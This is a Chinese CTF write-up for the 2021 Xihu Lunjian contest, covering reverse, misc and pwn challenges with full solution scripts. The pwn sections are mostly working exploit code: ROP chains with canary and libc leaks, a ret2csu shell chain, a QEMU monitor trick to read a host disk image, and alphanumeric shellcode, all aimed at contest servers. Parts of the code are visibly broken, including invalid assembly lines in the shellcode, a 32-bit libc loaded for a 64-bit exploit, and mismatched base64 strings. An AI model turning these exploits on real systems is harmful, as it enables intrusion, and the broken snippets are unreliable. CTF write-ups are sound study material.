因为只有当(v6[j]&255)位移后大于0且小于128才会有影响.
因此加密前后的位有对应关系,写脚本还原:

#include <stdio.h>
#include <stdbool.h>
#include <iostream>

using namespace std;

int __cdecl main(int argc, const char** argv, const char** envp){
    char v4; // [esp+0h] [ebp-2C0h]
    char v5; // [esp+8Fh] [ebp-231h]
    int v6[9]; // [esp+94h] [ebp-22Ch]
    int j; // [esp+B8h] [ebp-208h]
    unsigned int i; // [esp+BCh] [ebp-204h]
    char Str[80] = { 0 }; // [esp+1C0h] [ebp-100h] BYREF

    char data[] = { 
        0x65, 0x08, 0xF7, 0x12, 0xBC, 0xC3, 0xCF, 0xB8, 0x83, 0x7B,
        0x02, 0xD5, 0x34, 0xBD, 0x9F, 0x33, 0x77, 0x76, 0xD4, 0xD7,
        0xEB, 0x90, 0x89, 0x5E, 0x54, 0x01, 0x7D, 0xF4, 0x11, 0xFF,
        0x99, 0x49, 0xAD, 0x57, 0x46, 0x67, 0x2A, 0x9D, 0x7F, 0xD2,
        0xE1, 0x21, 0x8B, 0x1D, 0x5A, 0x91, 0x38, 0x94, 0xF9, 0x0C,
        0x00, 0xCA, 0xE8, 0xCB, 0x5F, 0x19, 0xF6, 0xF0, 0x3C, 0xDE,
        0xDA, 0xEA, 0x9C, 0x14, 0x75, 0xA4, 0x0D, 0x25, 0x58, 0xFC,
        0x44, 0x86, 0x05, 0x6B, 0x43, 0x9A, 0x6D, 0xD1, 0x63, 0x98,
        0x68, 0x2D, 0x52, 0x3D, 0xDD, 0x88, 0xD6, 0xD0, 0xA2, 0xED,
        0xA5, 0x3B, 0x45, 0x3E, 0xF2, 0x22, 0x06, 0xF3, 0x1A, 0xA8,
        0x09, 0xDC, 0x7C, 0x4B, 0x5C, 0x1E, 0xA1, 0xB0, 0x71, 0x04,
        0xE2, 0x9B, 0xB7, 0x10, 0x4E, 0x16, 0x23, 0x82, 0x56, 0xD8,
        0x61, 0xB4, 0x24, 0x7E, 0x87, 0xF8, 0x0A, 0x13, 0xE3, 0xE4,
        0xE6, 0x1C, 0x35, 0x2C, 0xB1, 0xEC, 0x93, 0x66, 0x03, 0xA9,
        0x95, 0xBB, 0xD3, 0x51, 0x39, 0xE7, 0xC9, 0xCE, 0x29, 0x72,
        0x47, 0x6C, 0x70, 0x15, 0xDF, 0xD9, 0x17, 0x74, 0x3F, 0x62,
        0xCD, 0x41, 0x07, 0x73, 0x53, 0x85, 0x31, 0x8A, 0x30, 0xAA,
        0xAC, 0x2E, 0xA3, 0x50, 0x7A, 0xB5, 0x8E, 0x69, 0x1F, 0x6A,
        0x97, 0x55, 0x3A, 0xB2, 0x59, 0xAB, 0xE0, 0x28, 0xC0, 0xB3,
        0xBE, 0xCC, 0xC6, 0x2B, 0x5B, 0x92, 0xEE, 0x60, 0x20, 0x84,
        0x4D, 0x0F, 0x26, 0x4A, 0x48, 0x0B, 0x36, 0x80, 0x5D, 0x6F,
        0x4C, 0xB9, 0x81, 0x96, 0x32, 0xFD, 0x40, 0x8D, 0x27, 0xC1,
        0x78, 0x4F, 0x79, 0xC8, 0x0E, 0x8C, 0xE5, 0x9E, 0xAE, 0xBF,
        0xEF, 0x42, 0xC5, 0xAF, 0xA0, 0xC2, 0xFA, 0xC7, 0xB6, 0xDB,
        0x18, 0xC4, 0xA6, 0xFE, 0xE9, 0xF5, 0x6E, 0x64, 0x2F, 0xF1,
        0x1B, 0xFB, 0xBA, 0xA7, 0x37, 0x8F };

    char c[] = { 
        0x65, 0x55, 0x24, 0x36, 0x9D, 0x71, 0xB8, 0xC8, 0x65, 0xFB,
        0x87, 0x7F, 0x9A, 0x9C, 0xB1, 0xDF, 0x65, 0x8F, 0x9D, 0x39,
        0x8F, 0x11, 0xF6, 0x8E, 0x65, 0x42, 0xDA, 0xB4, 0x8C, 0x39,
        0xFB, 0x99, 0x65, 0x48, 0x6A, 0xCA, 0x63, 0xE7, 0xA4, 0x79 };

    int goal[40] = {-1};
    for (int i = 0; i < 40; i++) {
        for (int j = 0; j < 256;j++) {
            if (c[i] == data[j]) {
                goal[i] = j;
            }
        }
    }

    v6[0] = 128;
    v6[1] = 64;
    v6[2] = 32;
    v6[3] = 16;
    v6[4] = 8;
    v6[5] = 4;
    v6[6] = 2;
    v6[7] = 1;
    for (i = 0; i < 40; i += 8)
    {
        for (j = 0; j < 8; ++j)
        {
            for (int k = 0; k < 8; k++) {
                if (goal[i + j] & (v6[j] << (8 - (k - j) % 8u))) {
                    Str[i + k] |= v6[j];
                }
                if (goal[i + j] & (v6[j] >> ((k - j) % 8u))) {
                    Str[i + k] |= v6[j];
                }
            }
        }
    }
    cout << Str << endl;
    return 0;
}

这里的data和c是直接从程序里拿出来的数组,运行得到flag:

Q5la5_3KChtem6_HYHk_NlHhNZz73aCZeK05II96

虚假的粉丝

解题思路:

用正则 “U......................................S”搜f里面的那一堆文件,

4157,1118,40,得到 UzNDcmU3X0szeSUyMCUzRCUyMEFsNE5fd0FsSzNS,base64+百分号解码,得到key:Al4N_wAlK3R,

再用里面的5315 文件就是字符画 即可看到flag。
exp.py

import re
import base64

path = "H:\CTF\西湖论剑·2021中国杭州网络安全技能大赛\REVERSE\虚假的粉丝\\f\\ASCII-faded "
US = re.compile("U......................................S", re.S)
for i in range(1, 5317):
    name = str(i).zfill(4) + ".txt"
    with open(path + name, "r") as f:
        b = f.read()
        items = re.findall(US, b)
        if items != []:
            print(name, items)
            print(b)
key = base64.b64decode("UzNDcmU3X0szeSUyMCUzRCUyMEFsNE5fd0FsSzNSWM==").decode().split("20")[-1]
k = 0
print("key is here:",key)
with open(path + "5315.txt", "r") as f:
    b = f.read()
    for i in b:
        if k > 10:
            k = 0
        print(chr(ord(i) ^ ord(key[k])), end="")        
        k += 1

image-20211120205523406.png

不难看出flag为:A_TrUe_AW_f4ns

PWN

string _go

例行检查:

image-20211121000242649.png

好家伙,保护全开,拖进IDA打开发现没有后门函数字符等,考虑泄露canary得值和libc基址,接着查找system binsh在libc里面的地址
exp.py

from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#p = process('./string_go')
p = remote('82.157.20.104',28100)
elf=ELF('./string_go')
libc=ELF('./libc-2.27.so')
p.sendlineafter('>>> ','1+2')
p.sendlineafter('>>> ','-1')
p.sendlineafter('>>> ','a'*0x8)
p.sendlineafter('>>> ','1')
p.recv(0x28)
addr=u64(p.recv(8))-0x730157
p.recv(8)
canary=u64(p.recv(8))
system=addr+libc.symbols['system']
binsh=addr+libc.search('/bin/sh').next()
payload = ('a'*0x18+p64(canary)+p64(0)*3+p64(addr+libc.search(asm('ret')).next())+p64(addr+libc.search(asm('pop rdi\nret')).next())+p64(binsh)+p64(system))
p.sendline(payload)
p.interactive()

远程:

image-20211121002138427.png

blind

检查:

image-20211121001024620.png

64位的架构并且开启了NX,所以我们没办法传shellcode。我们IDA打开分析一下。看一下main函数:

image-20211121001058876.png

很明显的栈溢出,我们看一下stack:

image-20211121001124216.png

50个字节。
我们shift F12看一下是否有敏感的system binsh等这些可获取系统权限的字符

image-20211121001151359.png

依旧没有。所以我们首先得考虑泄露got表内libc的基址。 然后找到libc内system和binsh的地址,即可getshell。在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。

image-20211121001213694.png

image-20211121001221799.png

image-20211121001230336.png

exp.py

from pwn import *
context.log_level = "debug"
#p = process("./blind")
p = remote("82.157.6.165",22700)
elf = ELF("./blind")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

def gadget(p1, p2, j2, a1 = 0x0, a2 = 0x0, a3 = 0x0):
 payload = p64(p1)    
 payload += p64(0x0)     
 payload += p64(0x1)     
 payload += p64(j2)    
 payload += p64(a3)    
 payload += p64(a2)    
 payload += p64(a1)    
 payload += p64(p2)   
 payload += 'A' * 56     
 return payload

pop_rdi =  0x00000000004007c3
pop_rsi_r15 = 0x00000000004007c1
payload = "a" * 0x58
payload += gadget(0x4007BA,0x4007A0,elf.got["read"],0,elf.got["alarm"],1)
payload += gadget(0x4007BA,0x4007A0,elf.got["read"],0,0x601088,0x3b)
payload += gadget(0x4007BA,0x4007A0,elf.got["alarm"],0x601088,0,0)
payload += (0x500 - len(payload)) * "\x00"
p.send(payload)
p.send("\xd5")
p.send("/bin/sh\x00" + "a" * (0x3b-8))
p.interactive()

远程:

image-20211120211721418.png

easykernel(*)

没有重定向monitor,直接读rootfs.img

from pwn import *
from tqdm import trange
import fuckpy3
context(os='linux', arch='amd64', log_level='error')
p = process(argv='./start.sh', raw=False)
p = remote('82.157.40.132', 38500)
def main():
    ctrl_a = '\x01c'
    p.send(ctrl_a)
    s = b''
    p.sendlineafter('(qemu)', 'stop')
    # p.sendlineafter('(qemu)', 'xp/100000bc 0x000000')
    p.sendlineafter('(qemu)', 'drive_add 0 file=/rootfs.img,id=flag,format=raw,if=none,readonly=on')
    for i in trange(160):
        p.sendlineafter('(qemu)', f'qemu-io flag "read -v {0x4000*i} 0x4000"')
        p.recvuntil('\r\n')
        data = p.recvuntil('ops/sec)\n', drop=True).split(b'\n')[:-2]
        for d in data:
            s += b''.join(d.split()[1:17]).unhex()
    i = 160
    p.sendlineafter('(qemu)', f'qemu-io flag "read -v {0x4000*i} 0x600"')
    p.recvuntil('\r\n')
    data = p.recvuntil('ops/sec)\n', drop=True).split(b'\n')[:-2]
    for d in data:
        s += b''.join(d.split()[1:17]).unhex()
    with open('out.img','wb') as f:
        f.write(s)
    p.interactive()
if __name__ == '__main__':
    main()

code_project

难得看到一个保护全关的:

image-20211121001647214.png

啥保护都没开,那就编写shellcode直接打了;

exp.py

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
#p = process('./code_project')
p = remote('82.157.31.181',58400)
shellcode = '''
push 1
pop rdi 
push 0x1
pop rdx
mov esi, 0x1010101
xor esi, 0x1611181
push 0x1601101
pop r14
xor r14, 0x1010101
pop 0x1011101
pop r15
xor r 15,0x1010101
search:
    add r14, r15 /*r14: addr*/
    mov [rsi], r14
    mov [rsi+8], r15
    push SYS_writev
    pop rax
    syscall
    jmp search
'''
payload=("Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G032x0Z020h3V011k01034q5n4r0G0Q000Y0j2A0Q010r0j084t4X050s010F0X0P2A01012x0o2C4s4v010")
p.sendline(payload)
p.interactive()

远程:

image-20211120212908669.png

标签: none

  1. Pluto Pluto

    blind这题中如何泄露got表内libc的基址。 然后找到libc内system和binsh的地址

  2. gssl gssl

    good

已有 2 条评论